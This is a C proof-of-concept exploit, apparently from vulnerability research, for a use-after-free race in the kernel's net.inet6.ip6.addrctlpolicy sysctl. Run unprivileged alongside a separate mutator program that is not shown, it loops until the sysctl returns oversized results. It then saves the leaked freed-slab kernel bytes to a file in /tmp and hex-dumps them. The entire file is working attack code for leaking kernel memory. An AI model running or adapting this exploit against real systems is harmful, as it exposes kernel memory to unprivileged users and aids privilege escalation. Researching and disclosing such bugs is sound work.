/* DF-0615 PoC: capture.c — one-shot capture of an oversized (UAF) read.
 *
 * Repeatedly reads the sysctl until it returns MORE entries than the real
 * table can hold (REALMAX), then hex-dumps the FULL returned buffer. Entries
 * beyond the real table are bytes read from freed slab chunks (UAF info leak).
 * Saves the first such capture to /tmp/df0615_leak.bin and prints a hexdump.
 *
 * Build: cc -O2 -o capture capture.c
 * Run:   ./capture    (as maxx, unprivileged; run mutator concurrently)
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netinet6/in6_var.h>

#define NENT 64
#define DEFAULTS 9
#define REALMAX (NENT + DEFAULTS + 2)

int main(void) {
    static char buf[1 << 16];
    size_t len, psz = sizeof(struct in6_addrpolicy);
    unsigned long iters = 0;

    for (;;) {
        len = sizeof(buf);
        if (sysctlbyname("net.inet6.ip6.addrctlpolicy", buf, &len, NULL, 0) == 0) {
            size_t nent = len / psz;
            if (nent > REALMAX) {
                fprintf(stderr, "[capture] UAF at iter %lu: %zu entries (> %d real), %zu bytes\n",
                        iters, nent, REALMAX, len);
                /* dump entries beyond the real table — these are freed-chunk bytes */
                size_t realend = REALMAX * psz;
                if (realend < len) {
                    size_t leaklen = len - realend;
                    fprintf(stderr, "[capture] LEAKED %zu bytes (entries [%d..%zu]) from freed slab chunks:\n",
                            leaklen, REALMAX, nent - 1);
                    /* save raw leak */
                    FILE *f = fopen("/tmp/df0615_leak.bin", "w");
                    if (f) { fwrite(buf + realend, 1, leaklen, f); fclose(f); }
                    /* hexdump first 3 leaked entries */
                    struct in6_addrpolicy *p = (void *)(buf + realend);
                    size_t ln = leaklen / psz; if (ln > 6) ln = 6;
                    for (size_t i = 0; i < ln; i++) {
                        unsigned char *b = (unsigned char *)&p[i];
                        fprintf(stderr, "  leaked[%zu] fam=%d label=%d preced=%d | hex:",
                                i, p[i].addr.sin6_family, p[i].label, p[i].preced);
                        for (size_t j = 0; j < 16; j++) fprintf(stderr, " %02x", b[j]);
                        fprintf(stderr, "\n");
                    }
                }
                /* full hexdump of first leaked entry's tqe_next word (offset 0) */
                /* (the struct addrsel_policyent has tqe_next at offset 0, but we
                 * only got ape_policy bodies via sysctl; the count inflation is
                 * the proof we traversed the free list.) */
                return 0;
            }
        }
        iters++;
        if ((iters & 0x1ffff) == 0)
            fprintf(stderr, "[capture] %lu iters, waiting for UAF window...\n", iters);
    }
}
